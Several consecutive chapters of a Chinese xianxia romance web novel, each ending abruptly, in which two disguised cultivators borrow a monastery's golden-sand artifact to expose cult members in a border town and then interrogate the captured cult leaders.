可就是这么个小荒山,苏晴沄却逛出了学生时代春游的感觉。看到山花就跑过去迈一下,见到溪水就提起裙摆跳过去,完全没什么淑女风范。 视线范围内就一个男的,还是断袖,做淑女给谁看啊?憋屈了好几天,可算有点儿旅行的感觉了,当然要在大自然中雀跃啦! 西九岭跟在她身后,起初是吃惊于这姑娘的肆意活泼,简直像变了个人似的。但看久了,就感受到了一种纯粹的愉悦,渐渐地也眼中含笑,觉得这荒山的景色似乎也没那么寡淡了。 翻过一座山坡向下,渐渐出现了被人踩出的蹊径,前方女子的身形忽然停了下来。 他走过去,越过女人的肩头看到了林间一抹苍老的背影,淡淡的纸烟在树影中若隐若现,零零的哭声在渐西的日光下清冷悲戚,正是与他们有两面之缘的喜子奶奶。 然后他就听见前面的姑娘自言自语般说了一句:“想吃馄饨了。” 这句话来的莫名其妙,可更加莫名其妙的是他竟然觉得这句话非常重要,以至于想都没想就回了一句:“我带你去。” 苏晴沄似乎是没想到他会接话,转头看过来的时候还有些微怔,但很快就扯出个略显惆怅的笑容,“算了。” 西九岭知道她在担心什么,取出两枚丹药笑道:“温长老新研制的易容丹,服 14. 空寂寺 《前未婚夫说他梦见了我》全本免费阅读 天边泛起鱼肚白,街上的早点铺子也升起了炊烟。 一家包子铺前,将门口路面洒扫完毕的妇人直了直腰,正准备拎起水桶返回,就见一个青年人晃晃悠悠出现在街角,一步走出三道弯儿的朝这边溜达过来。 妇人眼皮一跳,飞快拎起水桶和扫帚往店里跑,身后毫不意外地传来了青年的叫唤声。 “顾婶儿,来一笼包子!” 被叫做顾婶儿的妇人没好气地停下步子,用力晃了晃手中的扫帚,“包子没有,扫帚要不要?!” 青年赖皮赖脸地笑着走近,“哟,今儿火气怎么这么大,是不是昨晚顾叔偷懒了?” 妇人双眼一瞪、手臂抡起,一扫帚甩了过去,“娶不上媳妇的兔崽子还敢笑话老娘!” 青年腿一弯、避开重击,只是脚踝被毛尾扫了一下,然后就像被狠抽了一顿似的倒地不起,哎哟哟拼命叫唤。路过的人不禁纷纷侧目,搞得妇人愤懑不已,圆盘似的大脸涨的通红,好像刚出炉的包子。 “嗳,这不是马二兄弟吗,怎么坐在地上?”掌柜从店里面走出来,将一摞笼屉放在临街的柜台上,好似没看到方才一幕般地对着那青年憨笑,“不进来吃笼包子?” 被叫做马二的青年立刻不再哀嚎,屁颠儿屁颠儿跑进店里,嘴上也没闲着:“还是我顾叔会做生意。” 妇人看着丈夫将一笼包子递给马二,气得牙根直痒,可心里也明白,不值当为了这种无赖耽搁生意。再想到城里教书的马夫子每月都会跑来还上这个弟弟的欠账,心里又是一声长叹,终归不是她家摊上了这么个败家子。 马二拿着包子大马金刀地坐在门口的桌前,毫不客气的倒了一满碗醋,又舀了三大勺辣油才算作罢。 整个柳城都知道他这个马家老二无赖败家,当年仗着父母宠爱不学无术,勉强服了两年兵役,结果一点儿战功没有倒学了一身兵痞做派,整日混吃啃老,等父母死了又仗着有个比自己大十几岁的哥哥,继续混吃混喝。 顶着一张无赖脸,他每日从早到晚在城里游手好闲,没事儿就找人搭话闲聊、嚼舌八卦。可私底下,他却有着另一个身份——狐岭关斥候便衣。 他的差事很简单,那就是保证狐岭关与柳城之间的消息传递,日常搜集情报,一旦发现柳城这座狐岭关的后援城镇有任何异常,第一时间报告军方。 可这次,他却莫名其妙接了个临时任务,这任务还是柳城县令越权派给他的。本来他不想理会,可是听说那个叫刘大的人已经在柳城潜伏多年,如今城主已经不知道这里有多少天神教徒,他就有点儿坐不住了。 柳城出事是县守的责任,可天神教潜伏多年他却没有察觉,怎么有脸跟将军禀报?所以他接下了这个任务,想着多少能够将功折罪。 而县守胡炯会拜托他这个军方斥候也确实是无奈之举,听说那个刘大有金丹以上修为,如果不是同样佩戴隐藏修为法器的修士很难靠近监视,而他这个军方的便衣正好就有这样的法器装备。 坐在街角的店铺里,筑基修为的他可以清楚的看到对面巷子里刘大家的宅门,看着那獐头鼠目的家伙推开门,洒了几瓢水又缩回去,然后在他面前的笼屉里只剩下一个包子的时候走出房门哼着小调溜达着出了巷子,他心底再次涌起了那个疑问:这家伙真的是个金丹吗? 然后他嘴里叼着半个包子挥动手臂,招呼刘大过来一起吃。 是的,他跟刘大很熟。作为一个整日游手好闲的无赖,乌渠巷也是他打发时间的好去处,几乎天天都要跟刘大聊八卦。 也正因为如此,他被县守排除了嫌疑,毕竟时刻准备断尾求生的组织不可能让两个成员走得太近。 刘大没跟他一起吃包子,这也正常,满城都知道跟他吃饭的结果就是替他买账,刘大这家伙从来不干这种蠢事。 慢悠悠吃完包子,马二从另一条巷子绕到了刘大必经之路的前面,借着墙角的遮掩,他看到刘大在对面墙根儿停下来提了提鞋,再次向前的时候,那块墙壁上就出现了一个符号。 那是一个下面画着两条短斜线的窄梯形,就像一个变形的“只”字。他不知道那是什么符号,但此时可以百分百的确定——那个叫刘大的家伙真的不是凡人! —————————城墙内外的分割线————————— 沿着狭窄的山路前行,右边峭壁高耸入云,左边山谷川流不息,清凉的峻岭间鸟鸣空灵幽远,没有炊烟、不见俗世。 苏晴沄只觉得这一趟南岭真是来值了! 本以为繁琐的调查会历时漫长,谁知道瞌睡了有人递枕头,刘大在城中留下三处传讯记号让问题变得简单起来。 县令胡炯仅仅派了六个人在三处蹲点,就将那一天之内所有路过记号的天神教嫌犯都记了下来。 唯一的麻烦是人数有点儿多。 虽然三处记号都不在商铺林立之所,但一日内路过的也有七百五十三人之众。即便经过一系列调查排除了四百六十七个与刘大完全没有交集的人,但依旧有二百八十六人存在嫌疑,因为不确定这些人中是不是有人跟刘大一样配有隐藏灵力的法器,所以也不好通过灵力试探做进一步排除。 虽然胡炯已经向帝都呈报,请命向狐岭关借兵,但毕竟抓人太多会令柳城人心浮动,大举搜捕只能是下策,最好的方案还是先行确认魔修身份。 最后,西九岭提议前往空寂寺借一件法器,反正位于边境的柳城和空寂寺相隔也不过千里。 转过峭壁,眼前出现一条向上近乎七十度的陡峭石阶,石阶两侧一座座石雕罗汉像形态各异,一直向上延续三十丈直达阶梯顶端,每一尊罗汉都俯瞰着阶下人,或笑、或悲、或怒、或漠,千般姿态、千般嘲讽——来此作何?可知有佛? 如今有着化神修为,自然不用像当年攀登华山时那般如履薄冰,苏晴沄闲庭信步地拾阶而上,边走边欣赏着两侧的罗 15. 了空和尚 《前未婚夫说他梦见了我》全本免费阅读 空寂寺主持、当世第一高僧、南岭佛国领袖、年龄最长的化神修士——苏晴沄实在无法把这一连串的头衔跟眼前这个带着小沙弥走出来的和尚联系在一起。 眼前这位了空和尚看起来也就二十岁上下,瘦削的身形像个文弱书生,笑眯眯的脸孔上一双眼睛弯成月牙,要不是他身上那件镶满了宝石的红色袈裟灵光万丈,她肯定会以为走出来的是个刚入寺不久的小和尚。 西九岭怕他再说出什么惊人之语,抢先开口道:“齐鹤扬见过主持。” 了空听他化名也不奇怪,依旧笑眯眯的,只是将脸转向了他身边的女子,“这位女施主是?” “这位酒夕姑娘在画圣身边做事。” “原来是酒夕姑娘,阿弥陀佛。” 一句佛念得苏晴沄心底一颤,再看那了空和尚始终不曾睁开的双眼就有了别样之感,只觉得这面容清瘦的和尚其实深不可测。 小说里那些穿越女主好像经常被得道高僧看穿两世身份来着,这家伙该不会看穿了她的来历吧?不对,不对,相面算命应该是道士的工作,和尚怎么会看面相?也不对,六道轮回好像是佛家的说法,那看穿前世今生就该是和尚的本领? 心里正自忐忑,忽见“齐鹤扬”投来一个询问的眼神,她猛然意识到自己有些失礼,连忙稳了稳心神道:“酒夕见过方丈。” 了空依旧是眯着眼睛、唇角弯弯,看不出情绪变化,只是语出再度惊人:“不知酒夕姑娘是哪里人?家中长辈可都康健?有无兄弟姊妹?跟随画圣可还顺心?” 一连串的关心砸下来,苏晴沄就觉得自己眼皮开始猛跳,这种老祖宗相看孙媳妇的感觉是肿么回子事? 西九岭知道了空性子古怪,连忙干咳两声提醒这位“高僧”注意分寸。 了空似乎接收到了提醒,抬手一拍脑门儿,说道:“真是老糊涂了,怎么能让客人站在门口?来,来,二位随贫僧去禅房说话。” 苏晴沄看着那张二十上下的白皙面庞,再一次陷入沉默。 一旁的小沙弥连忙跑过来准备领路,却不料被自家主持摆手制止,他略带犹豫和不安地问道:“师叔祖,您一个人行吗?” 了空依旧笑眯眯地,声音如清风拂面:“师叔祖难道还找不到自己的禅房吗?” 听他这么一说,苏晴沄莫名感觉更没底了,可看着默默退下的小沙弥也不好说什么,毕竟是自己的住处,应该找得到吧…… 一刻钟后,了空领着二人站在一排木屋前双手合十,“这里是膳房。” 又过了一刻钟,了空领着二人站在一棵松树下,对着二层小楼双手合十,“这里是钟楼。” 再过了一刻钟,了空领着二人面朝两扇红漆大门双手合十,“这里是经阁。” 苏晴沄看着他那双始终眯成月牙的眼睛心中疯狂咆哮:大师!你倒是睁开眼看看路啊! 最奇怪的是,他们一路上竟然一个和尚都没遇见,堂堂南岭一百零八寺之首难道只有两个和尚吗?! 在又一个一刻钟之后,了空领着二人对着一道篱笆墙双手合十,“这里是菜园。” 然后穹山掌门终于有些无奈地开口问道:“今天可是僧众化缘的日子?” 苏晴沄恍然大悟的同时心如死灰,如今只能指望他们再度回到寺门的时候那位小沙弥能够领路了。问题是,他们什么时候才能走回寺门? 了空依旧是笑眯眯的,只是那双合十的手半天都没有松开。然后,就西九岭准备再度开口时,他突然抬起左臂向着前方那道篱笆墙一划,朗声道:“两位施主,贫僧观这菜圃之中景色不凡,既有清幽宁静,又有生机盎然,正是气象万千之所、待客绝佳之地!就让贫僧在此为二位烹茶吧!” 西九岭:…… 苏晴沄:…… 于是,春日生机勃勃的菜园中出现了这样一番景象。 白菜、油菜、芹菜,一排排齐整地布满田垄之间;青瓜、茄子、豆角,一根根缠绕着爬满篱笆竹架;田埂边的粪桶飘散着肥料的余味,靠在桶上的舀子里还隐约可见棕黄色的痕迹。 在这一片瓜果环绕、藤蔓密布、肥味四溢的地方,有那么一块坑坑洼洼的空地,三张小马扎围着一个小木桌、绝世独立。 南岭佛国领袖将镶满宝石的袈裟随便一撩,挽起袖管就开始摆弄起一套南岭特有的红泥茶具,一根嫩绿的小丝瓜顶着黄花在他光亮的头顶上摇摇摆摆、无比抢镜。 右手边,丰神俊朗的穹山掌门任由衣摆坠在土地上,饶有兴致地欣赏着佛国领袖那行云流水的沏茶手法。 左手边,景国公主将裙摆挽个结耷拉在脚边,看着鲜嫩的茶叶,闻着有机肥的味道,一脸怀疑人生。 我是谁?我在哪里?我在做什么??? 终于,小木桌上飘起了茶香,一定程度上压制了农田中特有的味道。 西九岭端起茶碗抿了一口,这才将今日的来意向主人做了说明,连同两人这几日的调查和事态的紧迫性都一并做了阐述。 总算进入正题,苏晴沄也稍稍轻松起来,觉得这喝不出好坏的清茶也很是香气怡人、余味悠长。 了空笑眯眯地听完,然后点了点头,说道:“原来你与酒夕姑娘是这般相识的。” 听了这话,苏晴沄刚刚放松的唇角忍不住又抽了一下。大师,你的关注点是不是有点儿跑偏?! 西九岭见惯不怪,只是微笑着提醒道:“我们此番上山是想借贵寺的金刚砂一用。” 苏晴沄配合着用力点头,希望眼前这位佛国第一人能够清晰的理解他们此次登门的需求并给出正常的回应。 似乎是为了证明她卖力的点头没有白费,了空和尚特地转向了她,然后手掌一翻,一道金光从寺院深处飞将而至、落在掌心,赫然是一个金线扎口的小布袋,那布袋也不知是何材质所制,丝线间隐隐有金光流转、煞是好看。 “这便是本寺法宝金刚砂。” 了空依旧面向苏晴沄,灵力催动手中布袋,扎口的金线如有灵性般自行解开,细碎的金沙从布袋的敞口中徐徐飞出、盘旋在他周围,令这个撩开袈裟、挽起袖管的和尚有了几分谪仙风姿。 “这金刚砂的沙粒细如微尘、无孔不入,只要魔修有一丝皮肤裸露在外,沙粒便能透过毛孔渗入其体内、阻碍其魔气运转。” 苏晴沄一脸惊艳地看着那金色细沙盘旋飞舞,当听说这些沙粒能够通过皮肤渗入体内,更是心中赞叹其使用的便捷性。 但紧接着,了空话锋一转道:“不过这玩意儿对金丹以上的作用不大,真打起架来有点儿鸡肋,已经有两百多年没用了。” 说完,他收起灵力,那布袋的口再度被金线扎起,仿佛哀叹自己落灰的命运一般,袋口一歪、耷拉下来。 然后了空十分应景地掸了掸布袋上的灰尘,苏晴沄则表情微微凝滞。 似乎是看出了她的情绪变化,了空的语气再度神采飞扬起来,补救道:“不过此物确是空寂寺初代方丈亲手炼制,乃是本寺镇寺之宝,毋庸置疑。而且金刚砂只会被魔气吸引,用来鉴定魔修身份再合适不过。” 然后他大手一挥,让那布袋落入了苏晴沄手中,笑眯眯的脸上浮现出一股慈祥之气,“今日,贫僧便将这镇寺之宝交于姑娘,还望 16. 保你无碍 《前未婚夫说他梦见了我》全本免费阅读 星光渐暗,皎月西斜。 一只黑猫穿过无人的街道,在掠过一个巷口时微微停留,好奇地望了眼小巷深处的微光。那是一盏写着“狐”字的白色灯笼,而提灯笼的人正是狐岭关的便衣斥候——马二。 黑猫停下的同时马二也看了过去,瞬间对视之后,黑猫扭头跑开,马二则转回头继续盯着眼前那敞开的院门。 这时,一声闷哼从院中传出,紧接着是一阵细碎的脚步声。一名容颜华丽却素衣木钗的女子率先走出,紧跟着的是几个军士打扮的轻壮。其中两个军士架着个头发蓬乱、只着中衣的汉子,那人脑袋耷拉在身前,赤|裸的双足拖在地面,显然已经昏迷不醒,点点金色的沙粒从他身体里缓缓飘出,在空中汇聚成一条金线,在前方女子的身边绕了一圈,然后飞入她手中那不知是何材质的小袋之中。 那女子唇角弯起,眼尾微微上挑,金沙萦绕中卓然若仙。 马二微微颔首,每当看到这幅画面,他便会想起这女子是县令口中的画圣侍女、金丹高手,而在他这个便衣斥候的眼中,县令的眼神却告诉他这女子还有另一重身份,更高、更尊、更隐秘。 所以接下这趟抓捕天神教徒差事的时候,他是准备跟这名女子保持距离、将其视为上官的。无奈这女子虽然气质华贵却丝毫没有架子,办差途中一有闲暇就凑过来八卦。 起初他还以为是什么高官微服私访调查狐岭关军纪,几个问题下来就完全摸不着头脑了。 什么装无赖的心里感受,遭人白眼生不生气,家中兄长会不会每天教育他上进,这种人设将来能不能娶上媳妇,城中离奇的八卦都有啥,城外能吃的野菜都啥样…… 搞得他现在都有点儿怀疑自己的职业素养了,难道这女其实没有什么隐秘身份,就是个侍女? 同行的几个军士没他这么多想法,只觉得男女搭配干活儿不累,何况是跟美女一起办差呢?所以虽然抓了一夜的人,但这几位看起来还都是精神百倍、斗志昂扬。 马二照例上前检查了那昏迷壮汉的衣物和口腔,确认没有问题后挥手示意军士将人带走,然后抬头看了眼已经由黑转蓝的天空,长舒了一口气,总算赶在天亮前完成了。 狐岭关在收到王命后立刻派兵五百协助柳城剿灭魔修,结果半路得知不能大规模围剿,必须先用法器一一测试二百八十六名嫌疑人,在确认魔修身份之后才能抓捕,而且还不能搞出动静、打草惊蛇。 无奈之下,校尉只能让他这个熟悉地形和嫌疑人的斥候带着十名精锐趁夜行动,这小三百个一一测下来靴底都磨薄了。但好赖他们还算是参与了行动,其余四百多军士只能在城外驻扎,说好听了是封锁魔修的逃跑路线,其实就是干等着天亮,纯属白跑一趟。 看着几名军士将那昏迷壮汉带走,马二向后展了展肩,二百八十六人中测出四十三名天神教徒,累死也值了! 心里想着他这个泼皮无赖明天干脆不起床了,眼中就看到那个动摇了自己职业信心的女子笑呵呵走了过来,手里还拿着那个能够探测魔气的法宝。 一趟任务下来,苏晴沄对马二已经十分熟络,开口就问:“下一处在哪儿?” 马二对着一副笑脸也实在恭谨不起来,最终还是笑着回道:“没了,这是最后一个。” “没了?” “是!”笑容收敛的女子贵气尽显,马二动摇的职业信心再度摇摆向神秘高官一侧,正色汇报道:“总共二百八十六人,全部探查完毕,最终确认四十三名魔修,已尽数捉拿!根据命令,狐岭关守军任务完成、立刻归营!” 苏晴沄没有留意他态度的转变,只是垫了垫手里的小布袋,有些遗憾地喃喃自语:“只有四十三个吗?” 说实话,她挺喜欢这法宝的。那些小金沙在空中环绕的景象流光溢彩又不浮夸,透着一种低调的奢华。 格格巫那句话怎么说来着?我喜欢从烟雾里走出来的感觉,这样很神秘。她也喜欢被小金沙环绕的感觉,这样很仙人。可惜用完就得还回去了…… 旁边,马二忍不住在心中腹诽:只有?他这辈子都没见过这么多魔修啊!这姑娘还嫌少?然后他就突然想起还漏了一个,补充道:“不,应该是四十四个,还有刘大。” 苏晴沄恍然看向城西,光顾着扮神仙玩儿了,差点儿忘了那个被自己丢在刘大家墙头上盯梢的队友还等着她回去汇合呢。而且他俩还肩负着最后收网的重任——抓住刘大! 嘿嘿,所以这小金沙她还能再玩儿一次! 天际现出微白的时候,在墙头独坐一晚上的西九岭终于看到“酒夕”飞身而至,这才松了口气站起身,总算是赶在天亮之前。 “都测完了?” “嗯,一共找出四十三个,现在就差刘大了,”苏晴沄垫了下手上的小布袋,“走!” “等等,”西九岭觉得有哪里不对,“你还拿金刚砂做什么?” “刘大还没测啊。” “他能从卢严布下的幻阵中拿走东西,必定有金丹以上修为。” “……万一东西不是他拿走的呢?” “那作为发信号的人,他也必定是天神教中的关键人物。”总之魔修身份毋庸置疑。 “……了空大师说金刚砂可以阻碍魔气运转,你我二人都只是金丹,有此物辅助才更有把握抓住修为不明的刘大啊。”总之用一下,没毛病。 看到她眼中的坚定,西九岭默然点头。身为化神的他根本忘了金丹以上还有元婴,万一刘大是元婴,没这法宝辅助还真不好解释两个金丹怎么将人抓住的。 苏晴沄也是暗叫一声好险,要不是觉得这法宝有趣想多用用,她都忘了刘大可能不止金丹修为,到时候怎么解释两个金丹如何抓住人的? 于是两人在这一刻思想达到了高度统一:若那刘大是个元婴,就把抓住此贼的主要功劳推给金刚砂! 行动并不需要什么计划,他二人都只能将修为压制在金丹,一旦使用灵力就会引起 17. 审讯高手 《前未婚夫说他梦见了我》全本免费阅读 正方形的石室内,一个类似祭坛的圆形石台矗立正中,围绕石台的地面上凿有一圈插槽、内插火把,此时十根火把中仅有靠西侧的一根点燃着。火光映照出西墙边的一张石桌,上面放着两个铜匣,其中一个敞着口,边缘处有灼烧的痕迹,另一个则依旧完好。 石桌旁,两道身影一站一躺。 站着的人眉峰如剑、眼波如海,木簪束发干净利落,青衣笔挺宛若劲竹。 躺着的人一身中衣脏兮兮、皱巴巴,浑身上下都有被殴打痕迹,脸上更是青一块、紫一块,肿得七荤八素,全然看不出本来面目。 苏晴沄从床板下方进入地道,寻着惨叫声来到石室后看到的就是这样一幅场景。 站着的那个自不必说,就是那个硬塞给她一枚顶级丹药的败家队友“齐鹤扬”;而躺着的那个,要不是右边嘴角上黄豆大小的黑痣还没被打掉,她简直不敢相信这个猪头就是他们要抓的人! 在她“消化丹药”的这段时间里,刘大到底经历了什么??? 而此时,刘大正托着半死不活的身子,咬牙切齿挣扎着抬起头,从嘴里混着血水吐出两颗牙齿,然后努力挤出了一句含糊不清的话:“我就想问,为什么不拔剑?!” 大家都是有道法的人,你特么一剑给我个体面不行吗?为什么要把我打得连亲娘都不认识! 西九岭抬手抚平了肩头的褶皱,看着他挑了下眉,淡淡道:“用拳头比较解气。”说完转头看向门口,见到女人安然无恙便弯起了唇角。 苏晴沄想起那枚含恨咽下去的生筋复骨丹,一阵痛心,再看刘大就只剩下了一个点头:打得好! 刘大听到答案后彻底趴在了地上、一动不动,不知是实在没有力气支撑,还是被那句话活活气死了。 苏晴沄连忙跑过去探他鼻息。 西九岭却是一派轻松,“死不了,我有分寸。”然后对着女人嗔视的眼笑意温柔,“你没事吧?” 被他一问,苏晴沄又为那枚惨遭浪费的灵丹心痛了一下,郁闷道:“没事。” 西九岭以为她是在为自己胡闹生气,看着刘大那张肿成猪头的脸也觉得自己下手是过分了一些,心虚地摸了下鼻子,“我以为你会喜欢。” 苏晴沄丢给他一个白眼,“谁会喜欢个猪头?”说完看向昏迷不醒的刘大——真的很像猪头,忍不住噗嗤一声笑了出来,“是挺解气的!” 于是西九岭也跟着笑了,如今他彻底放下了对苏晴沄的怀疑,心底一派轻松。 笑过之后,他看向西面石桌上那个打开的匣子,有些遗憾地说道:“我进来时,刘大已经烧完了那匣子里的东西。” 苏晴沄看了眼空匣边落着的灰烬,烧的应该是文件或书信吧?不过既成事实也没什么办法。想着,她将视线转向旁边那个依旧完好的铜匣,“看看那个,说不定里面还有东西。” 两人一起来到石桌前,一人手中捏着一张防御符咒。有了前两次经验,两人都做好了应对陷阱的准备。 然后西九岭抬手操纵灵气,隔空推开了那铜匣的盖子。 两人同时举起防御符咒、屏气凝神紧盯着匣子的开口,一息、两息、三息,匣子里既没有药粉扬起,也没有暗器飞出。 两人对视一眼,这次居然没有陷阱? 探头看去,原来那匣子里面放着的还是一个匣子,只不过略小一号,材料是木质。木匣四四方方,朝上一面有规则的细孔,侧方一面有绳扣系住的拉门。 “这好像……是养动物的?”苏晴沄指着木匣上方那些细孔,“这是通气孔吧?” 西九岭却是眼睛一亮,“你有没有发现,这木匣长约三尺、高约两尺!” “那又怎……”还没说完,苏晴沄猛然瞪大了眼睛,“窝棚里的幻阵!”找到了,卢严放在暗格里的东西! 西九岭小心翼翼端出木匣、挑开绳扣、将小门轻轻抬起,片刻后不见什么暗器飞出,两人才俯身向匣中看去。 映入眼帘的是一只盛水的小碗,显然该是养着什么,只是此时不在匣中。 苏晴沄有些摸不着头脑,西九岭却是习惯性放开了神识查探,果然在匣内一角发现了一条小蛇,只因那蛇与木匣同色,故而肉眼无法识别。 他伸出手,以灵气抓住那条小蛇拉到手上,这才看清那木纹花色的小蛇只有小拇指粗细、一尺来长,而且没有眼睛。 来此不久的苏晴沄这才想起放开神识查看,“咦?变色了!” 只见那小蛇在西九岭的掌心渐渐褪去了木质花纹、变为肉色,片刻功夫便与手掌融为了一体。 “嘿!变得还挺快,”苏晴沄看着有趣,可在记忆中并未找到这种生物,“这是什么蛇?灵兽吗?”有点儿变色龙的意思啊。 “避鳞虫。”西九岭将那小兽托高了一些,“门中一本上古地志中有所记载,此灵兽形似蛇却天生无眼、以气感物,可随环境变色,但捕食能力极弱,故而灭绝。” “以气感物?”苏晴沄想了想,觉得应该跟蝙蝠靠声波行动差不多,“还能变色,按理说敏捷性和隐蔽性都很高啊,怎么会捕食能力弱呢?” 西九岭轻轻捏开小虫的嘴,看见一口小牙,却没有长舌,“这灵兽个头太小、没毒、牙齿不利,舌头也不似蛇、蛙那般能够捕食,飞虫抓不到,甲虫咬不动,狩猎范围太窄。” 苏晴沄默默点头,听上去是没什么竞争力,“不是灵兽吗?没什么攻击法术吗?” “以气感物便是它的法术。” 明白了,科技树点错方向了。 看着西九岭将避鳞虫放回木匣,苏晴沄疑惑道:“既然灭绝了,怎么还会出现?”难道这个世界还有什么干尸提取细胞再培育的高科技吗? “或许并未真正灭绝,只是太过稀少吧。” 苏晴沄点了点头。也对,找不到的未必真不存在,毕竟这灵兽的整体进化方向就是隐藏,“卢严养它干吗?” 西九岭重新系好绳扣,然后看了眼地上的刘大,“应该问天神教养他干吗?” 说完,他放下木匣,俯身掰开刘大的嘴巴查看一番,然后又开始搜身,最后在衣服贴身暗兜里翻出了一个油纸包,打开之后现出乳白色的粉末。 苏晴沄凑近,“这是什么?毒药?” “不知道,”西九岭微微摇头,“这药粉卢严身上也有,已经被李琦送往穹山调查,目前还没有结果。” “穹山的丹师都不知道这是什么药?” “成分可以确认,但不知功效为何。” “会不会是什么新型毒|品?” “毒|品?” “咳、咳,就是用药物调配出来可以让人产生幻觉、上瘾的东西。” “你是说麻石散和逍遥丹?” “就是类似那种,天神教说不定研发出这东西用来控制教徒呢?” “这倒是个思路,回头我传信让温长老试试。” 苏晴沄神情有些古怪,“这个……不太好试吧?” 西九岭微微一怔,然后反应过来,笑道:“自然是在动物身上少量试试。” 哦,哦,是她想偏了,“既然你们穹山已经有一份药粉了,这包就给我送回元城吧。” 对此西九岭没有异议,将药粉给她之后便一手拎起刘大,一手抱起木匣,向外走去。 回到地面,县令胡炯已经带着衙役候在院外接应。 看到西九岭手中的刘大,胡县令有些不悦地皱起了眉,“怎么弄成这样?”这叫他怎么审?看这肿得跟发面馒头似的腮帮子,只怕说话都不利落了。 西九岭无所谓地将人往衙役手中一丢,淡淡道:“他伤了酒夕姑娘。” !!! 胡炯瞪圆了眼睛,盯着刘大的馒头脸对衙役道:“带回去仔细审,不招就揍,朝脸揍!” 听到这同仇敌忾的言语,苏晴沄在心中为依旧昏迷的刘大默了一把,这审法可谓是伤害性不大,侮辱性极强啊。 接下来的一天,两人就在县衙内听着胡炯的一次次汇报: 密道搜查完毕,没什么有价值的物证; 密道覆盖几乎布满柳城,可从地下连通包括刘大在内的四十四户人家,但并不与卢严住处相通; 四十三名嫌犯全部审问完毕,俱都承认自己天神教徒的身份,但除此以外便一概不知。关于刘大和卢严,他们只说是跟自己一样的教徒; 刘大在严刑拷打 18. 避鳞虫 《前未婚夫说他梦见了我》全本免费阅读 晨光中,熄灭的蜡烛青烟在窗棂前飘摇上浮,桌案上摆放的供词摞成一堆,县令胡炯手中的狼毫落下最后一笔,然后将那页纸张双手呈到景国公主面前。 苏晴沄接过那页整理完的审讯结果,跟西九岭并肩端详。 一夜审讯四十三人,李琦的效率不可谓不快,更重要的是,他真的审出了东西。如今除了还在审讯中的刘大,其余天神教徒招供的内容已经全部归纳在这页纸上。四十三份供词互相印证后,可以确认出以下几点真实信息: 一、这些人都是隶属于柳城分殿的天神教徒,卢严也是普通教徒,而刘大是副殿主。至于殿主,每次都戴着面具,没人见过其真面目; 二、只有殿主和副殿主有权力与圣殿联系,其余教徒不知道教主是谁,也不知道圣殿在哪里; 三、分殿每旬有一次集会,聚集场所为地下祭坛,信号由副殿主发出,教徒只要留意墙上的记号,按时通过密道进入地下祭坛即可; 四、刘大这次发出的信号是切断联系、集体潜伏; 五、避鳞虫的用途教徒不知道,之前献祭用的都是生人,据副殿主说,那些生人都是他和殿主寻来的散修; 六、所有人都没见过卢严的那枚铜钱。 “卢严是普通教徒?”苏晴沄觉得这第一条就有问题,“那为什么只有他的住处没有跟祭坛连通的密道?而且他还能布下金丹级别的幻阵,怎么可能只是个普通教徒?” “关于这一点,下官也觉得可疑,但那些教徒供述一致。起初下官猜测卢严是戴面具的殿主,但询问结果可以肯定卢严曾多次跟殿主出现在同一场集会,”说到此,胡炯沉吟片刻,“会不会卢严有其他身份,而这个身份是对普通教徒保密的?” 苏晴沄微微点头,觉得这个猜测确有可能。 两人讨论供词的时候,西九岭就只是静静地坐着,视线始终停留在那最后那一条上面——所有人都没见过卢严的那枚铜钱。 他可以十分肯定卢严身上的铜钱就是他梦见的那枚,按理说梦见术给出的都是与身份相关的重要信息,可至今为止却没有任何人见过这枚铜钱,究竟是哪里出了问题? 正想着,牢房的方向传来一阵嘈杂声。 片刻后,李琦摆动着圆滚滚的身体,满头大汗地跑了进来,看见西九岭就要往下跪。有了秦府外那次经验,西九岭这回反应及时,抬手用灵力托住了他。 李琦也醒悟过来要保密掌门身份,于是直接开口:“禀、禀告师兄,刘大自戕了。” !!! “死了?”县令胡炯最是心急,“如此关键的人物,为何这般不小心!” 他还指望着从刘大嘴里问出天神教潜伏柳城的真正目的呢,怎么就给审死了?果然不该相信这帮穹山的家伙! 李琦根本没在意胡炯的质问,只一心关注着掌门的反应,当看到掌门深不见底的眼中波涛暗涌,他便噗通一声跪了下去,大声道:“请师兄责罚!” 这一次,西九岭没有拦他,责罚是必须的。 苏晴沄也知道刘大是最重要的人证,如今被审死了,往轻了说是玩忽职守,往重了说就要怀疑审讯人杀人灭口…… 可她还是不习惯见人下跪,于是小声嘟囔了一句:“跪着也没用,不如起来说清楚吧。” 说是小声嘟囔,可这屋里两个假金丹、两个真金丹,谁还能听不见? 李琦跪在地上都快要吓死了,谁不知道掌门说一不二,最讨厌别人越俎代庖?这一求情是要把他往死路上赶啊!完了,完了,这回别说倒立抄门规了,就是清洗全宗净房也不能抵罪了,杖刑?鞭刑?该、该不会去思过崖吧…… 就在他心中把穹山处罚手段念叨了一遍的时候,头顶上那个威严的声音终于开口了:“起来说清楚。” “师兄!我……”嗳?什么?让他起来?李琦有些不敢置信地抬起了头,不是去思过崖吗? “怎么?还没跪够?”西九岭看他那一副耗子见了猫的模样就来气,这是金丹弟子该有的表现吗?也太给穹山丢脸了!而且师弟跪师兄是哪条门规,这是生怕他的身份暴露不了吗?“以后别动不动就下跪!” 见掌门的脸色又沉了几分,李琦一骨碌从地上爬了起来,颤颤巍巍地问道:“那处罚……” 西九岭眼中不见波澜,淡淡道:“先说说你审出了什么,还有,人是怎么死的?” 李琦想了想,觉得自己还是审出了些东西的,于是腰杆稍稍挺直,“刘大招认了自己副殿主的身份,还供出卢严就是殿主……” “卢严是殿主?”苏晴沄看向胡炯,“不是说他曾多次和殿主同时出现吗?” “是啊。”胡炯很无辜,看向李琦,“那些画押后的供词可都是李道友给下官的啊!” 李琦连忙解释道:“卢严是真正的殿主,那个戴面具的殿主是刘大假扮的。” 胡炯边回忆边道:“不对。供词中说集会大多由殿主或副殿主一人主持,但献祭却是殿主和副殿主共同主持的。” “据刘大供述,那样的场合卢严便会缺席。他在教众眼中只是个普通教徒,偶尔缺席也没人在意。”李琦补充后稍稍停顿,见众人了然才又继续,“刘大是唯一知道卢严殿主身份的人,每次集会,卢严都会通过刘大家的密道前往祭坛。” “至于圣殿的位置和教主的身份,刘大坚称自己不知,联系圣殿的事务由身为殿主的卢严负责,只有当卢严不在柳城的情况下,才会由他这个副殿主来做。而且他也无权面见教主,只能通过信件联系圣殿。” “信件?” 西、苏二人几乎同时想到了祭坛密室中那个铜匣中的焚烧痕迹,西九岭开口问道:“如何传递?” “用避鳞虫。” 所以那匣子原本是由卢严保管,西、苏二人的视线齐齐转向书案上静静摆放的木匣,避鳞虫,体型小、行动快、隐蔽性高…… 